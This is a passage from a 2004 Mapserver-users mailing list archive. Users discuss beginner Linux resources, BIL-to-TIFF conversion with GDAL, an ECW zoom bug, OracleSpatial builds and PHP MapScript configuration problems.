-0500 Subject: [Mapserver-users] Pre-basics of a Linux install? In-Reply-To: References: Message-ID: <1088453815.7922.61.camel@arceuthobium.ecology.umn.edu> Dale, In addition to Tyler's excellent suggestions, the best place to find all things Linux is http://www.tldp.org. This is the Linux Documentation Project's web site. Look at the guides first and when you start feeling good about Linux, the howtos. There's a guide called "Introduction to Linux" which I should also be reading. MapServer will come much easier when you get past all that operating system and shell stuff. I hope the weather's warmer in Michigan. :) -Perry On Mon, 2004-06-28 at 10:26, Tyler Mitchell wrote: > Hi Dale, glad to see you are ambitious and interested. It's not clear how > low you want to get into the operating system. "Newbie" to me implies you > would like to avoid compiling source code and running command line/shell > setup stuff - but I've been wrong before. > > With that assumption in mind I suggest you seek out a linux distribution > that will help provide you with easily installable packages, with a > graphical package manager, like SuSE linux and it's YAST system tool. That > would take care of getting Apache running (and help to keep it patched > with security updates!!). > > Then when you have Apache running, it's a matter of configuring > Mapserver...that's another matter and most likely will drop you to the > command line and require some source code compiling. However, the end > goal of a recent project is to help provide an easily "installable" > package for Mapserver and related utilities. MapServer isn't ready in > that package yet, though. > More info at: http://harmeny.com/twiki/bin/view/Fgs > > Tyler > > mapserver-users-admin at lists.gis.umn.edu wrote on 06/28/2004 08:53:21 AM: > > > Hello folks, > > > > I've decided to take the plunge and learn to use not only MapServer, > > but also Linux as the OS. (I'm already rather familiar with ESRI > > products in Windows, and I'm anxious to learn some alternatives, > > especially for making spatial data available online.) I've been > > listening to the mapserver-users list for about a week and I've been > > reading about Linux and related topics from various sources for longer > > than that. But I remain confused! I am getting the sneaking suspicion > > that in order to really understand what is going on, I need to learn > > how to program in C. > > > > The MapServer web page, wiki, and mailing list archives have been very > > informative, but I still have a lot of simple newbie questions that > > I'd like to ask, but which would end up swamping out this mailing > > list - especially questions that aren't directly related to MapServer > > itself. So, to start, I'd like to ask one main question: > > > > "Where can I find good tutorials on Linux, Apache, and the basics of > > installing software that are newbie-friendly?" > > > > By newbie-friendly, I mean things like NOT reverting to exclusive use > > of acronyms or abbreviations immediately after the first use of a new > > term (wouldn't it be nice if we all COULD learn a new language by > > simply hearing each word defined once?); a glossary would be helpful, > > especially if linked via hypertext in the tutorial; attempts to use > > "plain English" wherever possible, making the fewest assumptions > > possible about the background knowledge of the reader; a preference > > for conceptual descriptions of basic components and how they go > > together, rather than detailed information about specific components > > and their multitudes of possible settings. > > > > I'm making progress in my own installation, but it would be nice to > > have answered such simple questions as "Does it matter which directory > > I un-tar my source code in?" and "Ok, I went through the ./configure, > > make, make install, but how do I know it worked, and how do I know > > where stuff went?" and "How do I tell what version of program/library > > X is installed?" etc., ad nauseum. > > > > Thanks! > > > > Dale Trexel > > Conservation Biology Program > > University of Minnesota > > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- Pericles S. Nacionales Conservation Biology Program University of Minnesota URL: http://hypnos.cbs.umn.edu/~pnaciona/ E-Mail: nacional at cbs.umn.edu Phone: 612 624 6713 From gheysen.t at skynet.be Tue Jun 29 01:14:48 2004 From: gheysen.t at skynet.be (gheysen.t at skynet.be) Date: Tue, 29 Jun 2004 10:14:48 +0200 Subject: [Mapserver-users] Convert bil to tif or jpeg Message-ID: <200406290814.i5T8EmSN027738@outmx010.isp.belgacom.be> -------boundalter150977 Content-Type: text/plain Content-Transfer-Encoding: 8bit Hello, I search a free soft that can convert bil to anoher raster format than can be use with mapserver. Do you know it? Thanks in advance. Thibaut. -------boundalter150977 Content-Type: text/html Content-Transfer-Encoding: 8bit Content-Disposition: inline Hello,
 
I search a free soft that can convert bil to anoher raster format than can be use with mapserver. Do you know it?
 
Thanks in advance.
 
Thibaut.
-------boundalter150977-- From jacob.delfos at maunsell.com Tue Jun 29 02:33:44 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Tue, 29 Jun 2004 19:33:44 +1000 Subject: [Mapserver-users] ECW not showing below certain scale Message-ID: will check when I am back from holidays thanks, Jacob -----Original Message----- From: Yewondwossen Assefa To: Delfos, Jacob Cc: Frank Warmerdam; mapserver-users at lists.gis.umn.edu Sent: 6/26/2004 2:37 AM Subject: Re: [Mapserver-users] ECW not showing below certain scale I have put a new version of mapserver 4.3 (current CVS) build with GDAL 1.2.1 at http://www.maptools.org/php_mapscript/index.phtml?page=downloads.html (llok at the end of the page for the developpment verion). Let me know if it solves the ECW issue. Later, Frank Warmerdam wrote: > Delfos, Jacob wrote: > >> Hi All, >> >> I've been running into a little problem with mapserver 4.2, which I >> was also experiencing in Chameleon 1.99; when I zoom in quite far on >> the map (holding an ecw image), the map doesn't show up. It keeps >> trying to load, but nothing comes, suggesting it got stuck somewhere. >> CPU activity is initially at maximum for a few seconds (as normal when >> loading the map) but then drops while the map doesn't show (I'm >> loading the map in the browser on the server itself). The mapserv >> process won't allow itself to get killed either. >> >> If I simply replace my mapserv.exe file with one of version 4.0, the >> problem is gone. Of course the map takes quite a few seconds to show, >> which is normal when zooming close on an ECW, but it does show. >> >> I've tried this quite a few times in different browsers, but the map >> never shows at that scale when the ECW is in there. I have tried >> different mapfiles with different ECW's as well. Has the mechanism to >> display the ECW changed? It seems that as soon as I reach a resolution >> where I go beyond the ECW resolution (1pixel:1pixel) it dies. > > > Jacob, > > I was able to reproduce a problem with ECW supersampling when assertions > are turned on in GDAL 1.2.0. I have just issued a GDAL 1.2.1 with this > issue > fixed, and suggested to Assefa that he upgrade to that as time permits. > > I am not absolutely positive if that is your problem or not. > > I suspect you are seeing differences between MapServer 4.0 and 4.2 because > MapServer 4.2 tries to use "dataset" level io calls when available. This > allows reading red, green and blue in one pass against ECW for instance, > resulting in better performance. However, it uses different code paths > which may have different issues. > > So ... if and when new binaries are available with GDAL 1.2.1 I would > suggest you try MapServer 4.2 again. In the meantime you could just set an > appropriate MINSCALE so the ECW would stop rendering when supersampled, > or switch back to the build that works. > > Finally, I will once again strongly suggest that folks running into > problems > like this try and reproduce it at the commandline with shp2img and > appropriate > extent and debug options. This often results in much more meaningful error > messages than you get on in a web application. > > Best regards, -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From j.l.h.hartmann at uva.nl Tue Jun 29 03:35:21 2004 From: j.l.h.hartmann at uva.nl (Jan Hartmann) Date: Tue, 29 Jun 2004 12:35:21 +0200 Subject: [Mapserver-users] Convert bil to tif or jpeg In-Reply-To: <200406290814.i5T8EmSN027738@outmx010.isp.belgacom.be> References: <200406290814.i5T8EmSN027738@outmx010.isp.belgacom.be> Message-ID: <40E145E9.3060808@uva.nl> gheysen.t at skynet.be wrote: > Hello, > > I search a free soft that can convert bil to anoher raster format than > can be use with mapserver. Do you know it? > > Thanks in advance. > > Thibaut. Thibaut, Use gdal_translate, from Frank Warmerdam's Gdal-utilities: http://www.remotesensing.org/gdal Jan From sebastien.dubois at esm2.imt-mrs.fr Tue Jun 29 04:41:44 2004 From: sebastien.dubois at esm2.imt-mrs.fr (=?iso-8859-1?b?U+liYXN0aWVu?= DUBOIS) Date: Tue, 29 Jun 2004 13:41:44 +0200 Subject: [Mapserver-users] query, dhtml/javascript, highlighting Message-ID: <1088509304.40e15578337fc@webmail.esm2.imt-mrs.fr> i work with the help of the itaska workshop. i succeed in applying the workshop code to build my own application. (i test jbox, php mapscript to zoom/pan but query failed, postgresql/postgis to have a new point layer (shp2pgsql) but i don't succeed here to query such a layer too) so the result of my query is put in frames. i want to know how to get the point selected in a special output file (.csv for example) and how to change the display color of the points selected. more generally how keep the coordonnates of the points i've selected. thanks in advance for any help. -- S?bastien DUBOIS 1024D/A1140BCB:1BC8 7E21 4DA7 13D5 1B5F 876F F719 2B7A A114 0BCB ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From nicolas.fortin at ec.gc.ca Tue Jun 29 06:31:36 2004 From: nicolas.fortin at ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Tue, 29 Jun 2004 09:31:36 -0400 Subject: [Mapserver-users] RE : MapOracleSpatial - Great News Message-ID: <118A9CF846431048B65C4AFB0E57C0ED037355@ECQCSTFMAIL1.quebec.int.ec.gc.ca> Hi Fernando and list, Great news et good work! Do you have any working compiled (4.2) version of this mapserver for windows yet? Since I can't compile it myself, I will be really thankful if you (or someone else) could point me where I can download it. It should also include all the INPUT and OUTPUT of the standard w32 binary. Thank you very much! Nicolas Fortin Math?maticien, Programmeur, Analyste de donn?es SMC-Qu?bec Hydrologie, Environnement Canada 1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 (418)648-2516 nicolas.fortin at ec.gc.ca -----Message d'origine----- De : Fernando S. [mailto:simon at inf.univali.br] Envoy? : Friday, April 16, 2004 12:54 PM ? : qoelhex at cttmar.univali.br; simon at inf.univali.br Objet : MapOracleSpatial - Great News Dear friends, We made some updates in the maporaclespatial source code. Now the code do query directly to database and return text data to use in templates files (html). The next step is make the mapserv show what the database return as visual shape. We waiting for your feedback to fix the bugs. Thank you. Exmaple query layer layer connectiontype ORACLESPATIAL connection 'user/passwd at server' data "shape from (select shape, mkt_id, name from cola_markets)" name "map_query" type point status off classitem 'NAME' class overlaysymbol 'coleta' overlaycolor 255 0 0 overlayoutlinecolor 0 0 0 overlaysize 4 end header "templates/map_query_header.html" footer "templates/map_query_footer.html" template "templates/map_query_body.html" end Example nquery link http://200.169.54.40/cgi-bin/mapserv2?map=/usr/local/apache2/web/mapserv/maporaclespatial/maporaclespatial.map&imgsize=400+402&imgext=0+20+20+0&imbox=0+20+20+0&mode=nquery&savequery=true&layer=map_query Same link generating only image http://200.169.54.40/cgi-bin/mapserv2?map=/usr/local/apache2/web/mapserv/maporaclespatial/maporaclespatial.map&imgsize=400+402&imgext=0+20+20+0&imbox=0+20+20+0&mode=map&savequery=true&layer=map_query Example query link http://200.169.54.40/cgi-bin/mapserv2?map=/usr/local/apache2/web/mapserv/maporaclespatial/maporaclespatial.map&imgsize=400+402&imgext=0+20+20+0&imgxy=5+5&mode=query&savequery=true&layer=map_query ================================================================== Fernando Simon DataBase Manager, Mapserver, OracleSpatial and PostGis Developer G10 - Laborat?rio de Computa??o Aplicada MapOracleSpatial developer http://g10.cttmar.univali.br ================================================================== From gheysen.t at skynet.be Tue Jun 29 08:07:49 2004 From: gheysen.t at skynet.be (gheysen.t at skynet.be) Date: Tue, 29 Jun 2004 17:07:49 +0200 Subject: [Mapserver-users] Convert bil to tif or jpeg Message-ID: <200406291507.i5TF7nQ8015314@outmx001.isp.belgacom.be> -------boundalter150977 Content-Type: text/plain Content-Transfer-Encoding: 8bit I don't see the bil format in the list of gdal supported formats... But I will try it. Best regards Thibaut ---------------------------------------- gheysen.t at skynet.be wrote: > Hello, > > I search a free soft that can convert bil to anoher raster format than > can be use with mapserver. Do you know it? > > Thanks in advance. > > Thibaut. Thibaut, Use gdal_translate, from Frank Warmerdam's Gdal-utilities: http://www.remotesensing.org/gdal Jan -------boundalter150977 Content-Type: text/html Content-Transfer-Encoding: 8bit Content-Disposition: inline I don't see the bil format in the list of gdal supported formats... But I will try it.

Best regards

Thibaut

----------------------------------------


gheysen.t at skynet.be wrote:

> Hello,
>
> I search a free soft that can convert bil to anoher raster format than
> can be use with mapserver. Do you know it?
>
> Thanks in advance.
>
> Thibaut.

Thibaut,

Use gdal_translate, from Frank Warmerdam's Gdal-utilities:

http://www.remotesensing.org/gdal


Jan





-------boundalter150977-- From sp_ml at sourcepole.com Tue Jun 29 07:59:53 2004 From: sp_ml at sourcepole.com (Markus Schnider) Date: Tue, 29 Jun 2004 16:59:53 +0200 Subject: [Mapserver-users] querybyattribute php mapscript Message-ID: <200406291659.54098.sp_ml@sourcepole.com> Hi all I'm working with chameleon (viewer, based on php_mapscript). Which is the best query (performance) to get extents from a layer? $oQueryStatus = $olayer->queryByAttributes('town', 'town=150', MS_MULTIPLE); the query works, but is not very fast. I would use the query function for different databases (ARCsde, postgis and also on shapefiles). Do I have to difference between the databases, create always a best query for one database, ...? One try was with postgresql (postgis). the log: ... SELECT * FROM plsscpy3 LIMIT 0 BEGIN DECLARE mycursor2 BINARY CURSOR FOR SELECT gid::text,area::text,perimeter::text,town::text,rdir::text,rang::text,sect::text,trsmatch::text,acres::text,perfeet::text,asbinary(force_collection(force_2d(the_geom)),'NDR') from plsscpy3 WHERE OID = 6378143 ... I suppose that the function saves ALL rows in the cache and searches the row. Then it declares a cursor with the OID. Thanks in advance Markus Schnider From j.l.h.hartmann at uva.nl Tue Jun 29 08:29:39 2004 From: j.l.h.hartmann at uva.nl (Jan Hartmann) Date: Tue, 29 Jun 2004 17:29:39 +0200 Subject: [Mapserver-users] Convert bil to tif or jpeg In-Reply-To: <200406291507.i5TF7nQ8015314@outmx001.isp.belgacom.be> References: <200406291507.i5TF7nQ8015314@outmx001.isp.belgacom.be> Message-ID: <40E18AE3.7060008@uva.nl> gheysen.t at skynet.be wrote: > I don't see the bil format in the list of gdal supported formats... But > I will try it. > It is documented as "ESRI .hdr labeled". Jan From nicolas.fortin at ec.gc.ca Tue Jun 29 10:00:17 2004 From: nicolas.fortin at ec.gc.ca (Fortin,Nicolas [SteFoy]) Date: Tue, 29 Jun 2004 13:00:17 -0400 Subject: [Mapserver-users] RE : MapOracleSpatial - Great News Message-ID: <118A9CF846431048B65C4AFB0E57C0ED037357@ECQCSTFMAIL1.quebec.int.ec.gc.ca> Thx, Is this version compiled with the maporaclespatial.c that Fernando gave us some time ago?? Nicolas -----Message d'origine----- De : Haigh, Andrew [mailto:Andrew.Haigh at doncaster.gov.uk] Envoy? : Tuesday, June 29, 2004 10:39 AM ? : Fortin,Nicolas [SteFoy]; Fernando S. Cc : Mapserver User List Objet : RE: [Mapserver-users] RE : MapOracleSpatial - Great News Hi, Have a look at this: http://www.maptools.org/local_dl/mapserver-4.2.0-win32-php4.3.4.zip. Not sure why it's not on the MapServer page. Andrew -----Original Message----- From: Fortin,Nicolas [SteFoy] [mailto:nicolas.fortin at ec.gc.ca] Sent: Tuesday, June 29, 2004 2:32 PM To: Fernando S. Cc: Mapserver User List Subject: [Mapserver-users] RE : MapOracleSpatial - Great News Hi Fernando and list, Great news et good work! Do you have any working compiled (4.2) version of this mapserver for windows yet? Since I can't compile it myself, I will be really thankful if you (or someone else) could point me where I can download it. It should also include all the INPUT and OUTPUT of the standard w32 binary. Thank you very much! Nicolas Fortin Math?maticien, Programmeur, Analyste de donn?es SMC-Qu?bec Hydrologie, Environnement Canada 1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 (418)648-2516 nicolas.fortin at ec.gc.ca -----Message d'origine----- De : Fernando S. [mailto:simon at inf.univali.br] Envoy? : Friday, April 16, 2004 12:54 PM ? : qoelhex at cttmar.univali.br; simon at inf.univali.br Objet : MapOracleSpatial - Great News Dear friends, We made some updates in the maporaclespatial source code. Now the code do query directly to database and return text data to use in templates files (html). The next step is make the mapserv show what the database return as visual shape. We waiting for your feedback to fix the bugs. Thank you. Exmaple query layer layer connectiontype ORACLESPATIAL connection 'user/passwd at server' data "shape from (select shape, mkt_id, name from cola_markets)" name "map_query" type point status off classitem 'NAME' class overlaysymbol 'coleta' overlaycolor 255 0 0 overlayoutlinecolor 0 0 0 overlaysize 4 end header "templates/map_query_header.html" footer "templates/map_query_footer.html" template "templates/map_query_body.html" end Example nquery link http://200.169.54.40/cgi-bin/mapserv2?map=/usr/local/apache2/web/mapserv/map oraclespatial/maporaclespatial.map&imgsize=400+402&imgext=0+20+20+0&imbox=0+ 20+20+0&mode=nquery&savequery=true&layer=map_query Same link generating only image http://200.169.54.40/cgi-bin/mapserv2?map=/usr/local/apache2/web/mapserv/map oraclespatial/maporaclespatial.map&imgsize=400+402&imgext=0+20+20+0&imbox=0+ 20+20+0&mode=map&savequery=true&layer=map_query Example query link http://200.169.54.40/cgi-bin/mapserv2?map=/usr/local/apache2/web/mapserv/map oraclespatial/maporaclespatial.map&imgsize=400+402&imgext=0+20+20+0&imgxy=5+ 5&mode=query&savequery=true&layer=map_query ================================================================== Fernando Simon DataBase Manager, Mapserver, OracleSpatial and PostGis Developer G10 - Laborat?rio de Computa??o Aplicada MapOracleSpatial developer http://g10.cttmar.univali.br ================================================================== _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users ********************************************************************** This communication is from Doncaster Metropolitan Borough Council This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept by MIMEsweeper for the presence of computer viruses. www.mimesweeper.com ********************************************************************** From simon at inf.univali.br Tue Jun 29 10:29:55 2004 From: simon at inf.univali.br (Fernando S.) Date: Tue, 29 Jun 2004 14:29:55 -0300 Subject: [Mapserver-users] RE : MapOracleSpatial - Great News In-Reply-To: <118A9CF846431048B65C4AFB0E57C0ED037355@ECQCSTFMAIL1.quebec.int.ec.gc.ca> References: <118A9CF846431048B65C4AFB0E57C0ED037355@ECQCSTFMAIL1.quebec.int.ec.gc.ca> Message-ID: <40E1A713.4030904@inf.univali.br> Hi Nicolas and list, Well, I didn't compiled a windows version for this new code. I updated the code in the cvs before the new release 4.2, but the new maporaclespatial.c didin't added in 4.2. I don't know why. So, now I'm working in some projects and the next week I can't work in new release. And after, I want to finish the function that generate the image. One more information, in the last weekend I reinstalled my linux to a new release, so I didn't have time to recompile mapserver/apache/oracle. Sorry for the broken links. Thank you. ===================================== Fernando Simon Database Manager, Mapserver and OracleSpatial developer G10 - Laboratorio de Computacao Aplicada http://g10novo.cttmar.univali.br ===================================== Fortin,Nicolas [SteFoy] wrote: >Hi Fernando and list, > >Great news et good work! > >Do you have any working compiled (4.2) version of this mapserver for windows yet? Since I can't compile it myself, I will be really thankful if you (or someone else) could point me where I can download it. It should also include all the INPUT and OUTPUT of the standard w32 binary. > >Thank you very much! > >Nicolas Fortin >Math?maticien, Programmeur, Analyste de donn?es >SMC-Qu?bec Hydrologie, Environnement Canada >1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 >(418)648-2516 >nicolas.fortin at ec.gc.ca > > > >-----Message d'origine----- >De: Fernando S. [mailto:simon at inf.univali.br] >Envoy?: Friday, April 16, 2004 12:54 PM >?: qoelhex at cttmar.univali.br; simon at inf.univali.br >Objet: MapOracleSpatial - Great News > > >Dear friends, > We made some updates in the maporaclespatial source code. > Now the code do query directly to database and return text data to use in templates files (html). > The next step is make the mapserv show what the database return as visual shape. > We waiting for your feedback to fix the bugs. > Thank you. > >Exmaple query layer >layer > connectiontype ORACLESPATIAL > connection 'user/passwd at server' > data "shape from (select shape, mkt_id, name from cola_markets)" > name "map_query" > type point > status off > classitem 'NAME' > class > overlaysymbol 'coleta' > overlaycolor 255 0 0 > overlayoutlinecolor 0 0 0 > overlaysize 4 > end > header "templates/map_query_header.html" > footer "templates/map_query_footer.html" > template "templates/map_query_body.html" >end > >Example nquery link >http://200.169.54.40/cgi-bin/mapserv2?map=/usr/local/apache2/web/mapserv/maporaclespatial/maporaclespatial.map&imgsize=400+402&imgext=0+20+20+0&imbox=0+20+20+0&mode=nquery&savequery=true&layer=map_query > >Same link generating only image >http://200.169.54.40/cgi-bin/mapserv2?map=/usr/local/apache2/web/mapserv/maporaclespatial/maporaclespatial.map&imgsize=400+402&imgext=0+20+20+0&imbox=0+20+20+0&mode=map&savequery=true&layer=map_query > >Example query link >http://200.169.54.40/cgi-bin/mapserv2?map=/usr/local/apache2/web/mapserv/maporaclespatial/maporaclespatial.map&imgsize=400+402&imgext=0+20+20+0&imgxy=5+5&mode=query&savequery=true&layer=map_query > >================================================================== >Fernando Simon >DataBase Manager, Mapserver, OracleSpatial and PostGis Developer >G10 - Laborat?rio de Computa??o Aplicada >MapOracleSpatial developer >http://g10.cttmar.univali.br >================================================================== > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > From Andrew.Haigh at doncaster.gov.uk Tue Jun 29 07:39:19 2004 From: Andrew.Haigh at doncaster.gov.uk (Haigh, Andrew) Date: Tue, 29 Jun 2004 15:39:19 +0100 Subject: [Mapserver-users] RE : MapOracleSpatial - Great News Message-ID: Hi, Have a look at this: http://www.maptools.org/local_dl/mapserver-4.2.0-win32-php4.3.4.zip. Not sure why it's not on the MapServer page. Andrew -----Original Message----- From: Fortin,Nicolas [SteFoy] [mailto:nicolas.fortin at ec.gc.ca] Sent: Tuesday, June 29, 2004 2:32 PM To: Fernando S. Cc: Mapserver User List Subject: [Mapserver-users] RE : MapOracleSpatial - Great News Hi Fernando and list, Great news et good work! Do you have any working compiled (4.2) version of this mapserver for windows yet? Since I can't compile it myself, I will be really thankful if you (or someone else) could point me where I can download it. It should also include all the INPUT and OUTPUT of the standard w32 binary. Thank you very much! Nicolas Fortin Math?maticien, Programmeur, Analyste de donn?es SMC-Qu?bec Hydrologie, Environnement Canada 1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 (418)648-2516 nicolas.fortin at ec.gc.ca -----Message d'origine----- De : Fernando S. [mailto:simon at inf.univali.br] Envoy? : Friday, April 16, 2004 12:54 PM ? : qoelhex at cttmar.univali.br; simon at inf.univali.br Objet : MapOracleSpatial - Great News Dear friends, We made some updates in the maporaclespatial source code. Now the code do query directly to database and return text data to use in templates files (html). The next step is make the mapserv show what the database return as visual shape. We waiting for your feedback to fix the bugs. Thank you. Exmaple query layer layer connectiontype ORACLESPATIAL connection 'user/passwd at server' data "shape from (select shape, mkt_id, name from cola_markets)" name "map_query" type point status off classitem 'NAME' class overlaysymbol 'coleta' overlaycolor 255 0 0 overlayoutlinecolor 0 0 0 overlaysize 4 end header "templates/map_query_header.html" footer "templates/map_query_footer.html" template "templates/map_query_body.html" end Example nquery link http://200.169.54.40/cgi-bin/mapserv2?map=/usr/local/apache2/web/mapserv/map oraclespatial/maporaclespatial.map&imgsize=400+402&imgext=0+20+20+0&imbox=0+ 20+20+0&mode=nquery&savequery=true&layer=map_query Same link generating only image http://200.169.54.40/cgi-bin/mapserv2?map=/usr/local/apache2/web/mapserv/map oraclespatial/maporaclespatial.map&imgsize=400+402&imgext=0+20+20+0&imbox=0+ 20+20+0&mode=map&savequery=true&layer=map_query Example query link http://200.169.54.40/cgi-bin/mapserv2?map=/usr/local/apache2/web/mapserv/map oraclespatial/maporaclespatial.map&imgsize=400+402&imgext=0+20+20+0&imgxy=5+ 5&mode=query&savequery=true&layer=map_query ================================================================== Fernando Simon DataBase Manager, Mapserver, OracleSpatial and PostGis Developer G10 - Laborat?rio de Computa??o Aplicada MapOracleSpatial developer http://g10.cttmar.univali.br ================================================================== _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users ********************************************************************** This communication is from Doncaster Metropolitan Borough Council This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This footnote also confirms that this email message has been swept by MIMEsweeper for the presence of computer viruses. www.mimesweeper.com ********************************************************************** From douguoli at yahoo.com.cn Tue Jun 29 11:29:19 2004 From: douguoli at yahoo.com.cn (=?gb2312?q?guoloi=20dou?=) Date: Wed, 30 Jun 2004 02:29:19 +0800 (CST) Subject: [Mapserver-users] Blank image got from .TAB and .shp Message-ID: <20040629182919.48139.qmail@web15211.mail.bjs.yahoo.com> --0-1319119562-1088533759=:41715 Content-Type: text/plain; charset=gb2312 Content-Transfer-Encoding: 8bit Hi. I got a blank image when trying to viewing the MapInfo .Tab and .shp data using PHP/MapScript which are translated from OS MasterMap GML2 using FME Suite. What kind of problem can it be? Dose projection matter? Lots of thanks. Zhengda Lu The code is below: MAP IMAGETYPE GIF SHAPEPATH "data" EXTENT 350137.99 168102.4 356541.55 174643.09 SIZE 400 300 IMAGECOLOR 255 255 255 PROJECTION "init=epsg:6277" END WEB IMAGEPATH "/Proj/img/" IMAGEURL "/img/" END # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # States polygon layer begins here NAME states #CONNECTIONTYPE OGR #CONNECTION "c:/Proj/data/BoundaryLine.tab" DATA BoundaryLine_line STATUS DEFAULT TYPE LINE PROJECTION "init=epsg:6277" END CLASS COLOR 232 232 232 OUTLINECOLOR 32 32 32 END END # States polygon layer ends here # End of LAYER DEFINITIONS ------------------------------- END # end of map file/object PHP/Mapscript draw(); $image_url=$image->saveWebImage(); ?> TEST --------------------------------- Do You Yahoo!? 100?????????????????????????????????? --0-1319119562-1088533759=:41715 Content-Type: text/html; charset=gb2312 Content-Transfer-Encoding: 8bit

Hi.
I got a blank image when trying to viewing the MapInfo .Tab and .shp data using PHP/MapScript which are translated from OS MasterMap GML2 using FME Suite.
What kind of problem can it be? Dose projection matter?
Lots of thanks.

Zhengda Lu
The code is below:
MAP
  IMAGETYPE GIF
  SHAPEPATH "data"
  EXTENT 350137.99 168102.4 356541.55 174643.09
  SIZE 400 300
  IMAGECOLOR 255 255 255
  PROJECTION
    "init=epsg:6277"
  END
  WEB
    IMAGEPATH "/Proj/img/"
    IMAGEURL "/img/"
  END
  # Start of LAYER DEFINITIONS ---------------------------------------------
  LAYER # States polygon layer begins here
    NAME states
    #CONNECTIONTYPE OGR
    #CONNECTION "c:/Proj/data/BoundaryLine.tab"
    DATA BoundaryLine_line
    STATUS DEFAULT
    TYPE LINE
    PROJECTION
      "init=epsg:6277"
    END
    CLASS
      COLOR 232 232 232
      OUTLINECOLOR 32 32 32
    END
  END # States polygon layer ends here
  # End of LAYER DEFINITIONS -------------------------------
END # end of map file/object

PHP/Mapscript
<?php
dl("php_mapscript.dll");

$map_file="./test.map";
$map = ms_newMapObj($map_file);
$image=$map->draw();
$image_url=$image->saveWebImage();

?>
 <HTML>
 <BODY>
 TEST
<img SRC="<?php echo $image_url?>">
</BODY>
</html>

 



Do You Yahoo!?
100?????????????????????????????????? --0-1319119562-1088533759=:41715-- From nacional at cbs.umn.edu Tue Jun 29 11:38:29 2004 From: nacional at cbs.umn.edu (Pericles S. Nacionales) Date: Tue, 29 Jun 2004 13:38:29 -0500 Subject: [Mapserver-users] RE : MapOracleSpatial - Great News In-Reply-To: <118A9CF846431048B65C4AFB0E57C0ED037355@ECQCSTFMAIL1.quebec.int.ec.gc.ca> References: <118A9CF846431048B65C4AFB0E57C0ED037355@ECQCSTFMAIL1.quebec.int.ec.gc.ca> Message-ID: <1088534309.15410.14.camel@arceuthobium.ecology.umn.edu> If you're not using PHP MapScript, you can try the binaries at http://mapserver.gis.umn.edu/win32binaries.html It has native oracle spatial and postgis support, as well as via OGR. -Perry On Tue, 2004-06-29 at 08:31, Fortin,Nicolas [SteFoy] wrote: > Hi Fernando and list, > > Great news et good work! > > Do you have any working compiled (4.2) version of this mapserver for windows yet? Since I can't compile it myself, I will be really thankful if you (or someone else) could point me where I can download it. It should also include all the INPUT and OUTPUT of the standard w32 binary. > > Thank you very much! > > Nicolas Fortin > Math?maticien, Programmeur, Analyste de donn?es > SMC-Qu?bec Hydrologie, Environnement Canada > 1141, Rte de l'?glise, Sainte-Foy(QC) G1V 4H5 > (418)648-2516 > nicolas.fortin at ec.gc.ca > > > > -----Message d'origine----- > De : Fernando S. [mailto:simon at inf.univali.br] > Envoy? : Friday, April 16, 2004 12:54 PM > ? : qoelhex at cttmar.univali.br; simon at inf.univali.br > Objet : MapOracleSpatial - Great News > > > Dear friends, > We made some updates in the maporaclespatial source code. > Now the code do query directly to database and return text data to use in templates files (html). > The next step is make the mapserv show what the database return as visual shape. > We waiting for your feedback to fix the bugs. > Thank you. > > Exmaple query layer > layer > connectiontype ORACLESPATIAL > connection 'user/passwd at server' > data "shape from (select shape, mkt_id, name from cola_markets)" > name "map_query" > type point > status off > classitem 'NAME' > class > overlaysymbol 'coleta' > overlaycolor 255 0 0 > overlayoutlinecolor 0 0 0 > overlaysize 4 > end > header "templates/map_query_header.html" > footer "templates/map_query_footer.html" > template "templates/map_query_body.html" > end > > Example nquery link > http://200.169.54.40/cgi-bin/mapserv2?map=/usr/local/apache2/web/mapserv/maporaclespatial/maporaclespatial.map&imgsize=400+402&imgext=0+20+20+0&imbox=0+20+20+0&mode=nquery&savequery=true&layer=map_query > > Same link generating only image > http://200.169.54.40/cgi-bin/mapserv2?map=/usr/local/apache2/web/mapserv/maporaclespatial/maporaclespatial.map&imgsize=400+402&imgext=0+20+20+0&imbox=0+20+20+0&mode=map&savequery=true&layer=map_query > > Example query link > http://200.169.54.40/cgi-bin/mapserv2?map=/usr/local/apache2/web/mapserv/maporaclespatial/maporaclespatial.map&imgsize=400+402&imgext=0+20+20+0&imgxy=5+5&mode=query&savequery=true&layer=map_query > > ================================================================== > Fernando Simon > DataBase Manager, Mapserver, OracleSpatial and PostGis Developer > G10 - Laborat?rio de Computa??o Aplicada > MapOracleSpatial developer > http://g10.cttmar.univali.br > ================================================================== > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- Pericles S. Nacionales Conservation Biology Program University of Minnesota URL: http://hypnos.cbs.umn.edu/~pnaciona/ E-Mail: nacional at cbs.umn.edu Phone: 612 624 6713 From gis at farmvilleva.com Tue Jun 29 12:05:58 2004 From: gis at farmvilleva.com (John M. Duggan, LS) Date: Tue, 29 Jun 2004 15:05:58 -0400 Subject: [Mapserver-users] Query Example Message-ID: <011401c45e0c$1ca65da0$2100000a@JMDSurvey> This 